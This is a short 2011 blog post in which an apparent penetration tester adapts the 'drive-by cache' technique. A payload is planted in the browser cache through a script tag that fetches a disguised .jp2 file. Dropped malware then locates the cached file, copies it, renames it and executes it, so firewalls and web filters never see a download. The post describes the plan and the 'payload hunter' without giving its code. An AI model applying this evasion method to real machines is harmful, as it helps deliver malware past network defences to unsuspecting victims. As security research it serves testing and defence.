Drive-By Cache: Payload Hunting

The researchers over at Armorize identified a new technique some time ago called “drive-by cache” that kinda turns drive-by downloads on its head. You can read their analysis here.

In a typical drive-by download, the visiting PC gets compromised, the browser downloads the malware, and the malware executes. The malware is often times a downloader. When the downloader executes, it has to pass through the personal firewall and web filter in order to get the final payload. This behavior can be detected or blocked.

After reading the write-up on the drive-by cache, I wondered if I could modify an existing drive-by download and apply this technique for an upcoming pentest I need to do. If I can get the payload onto the disk first, then I don’t need to worry about the firewall and web filter (for the initial infection anyway).

So here’s the plan:

  1. Download the payload to the browser cache
  2. Compromise the PC with an exploit
  3. Download the malware to the PC
  4. Execute the malware which will in turn execute the payload that’s in the cache

In step #4, the downloader won’t need to pull anything from the Internet because it’s already in the cache thanks to step #1. Great, let’s do this!

In step #1, the guys at Armorize described how it was done:

<script src=”http://website/payload.jp2></script>

Okay so I add that to the head of the HTML page that contains the exploit. This gets the payload in the cache first followed by the exploit code. Now I create my staging malware to go to “Temporary Internet Files” and rename the payload file from “payload.jp2” to “payload.exe” and execute it.

Big problem. The cache file is a special Windows folder and this won’t work. In fact, I ran across several stumbling blocks here. The article doesn’t mention the details so I need to work this through.

When the payload file gets cached, you can see it in the “Temporary Internet Files” folder.

However, the file is really sitting in a randomly named subfolder.

And the filename’s been changed to “payload[1].jp2” to avoid overwriting existing files.

What do I do? I don’t know where it’ll end up. And even if I do know where it is, renaming the file, executing the file, etc doesn’t work in this location. I have to revisit the plans and change it now to this:

  1. Download the payload to the browser cache
  2. Compromise the PC with an exploit
  3. Download the malware to the PC
  4. Execute the malware which will in turn execute the payload that’s in the cache Execute the malware which will search for the payload file in the cache
  5. Copy the file from the cache to the temp folder and rename it
  6. Execute the payload

I write my “payload hunter” program which is the initial malware that gets dropped by the exploit then finds, copies, renames, and executes the payload without the firewall and web filter blocking the attempt. Success!

Posted on: 08/11/2011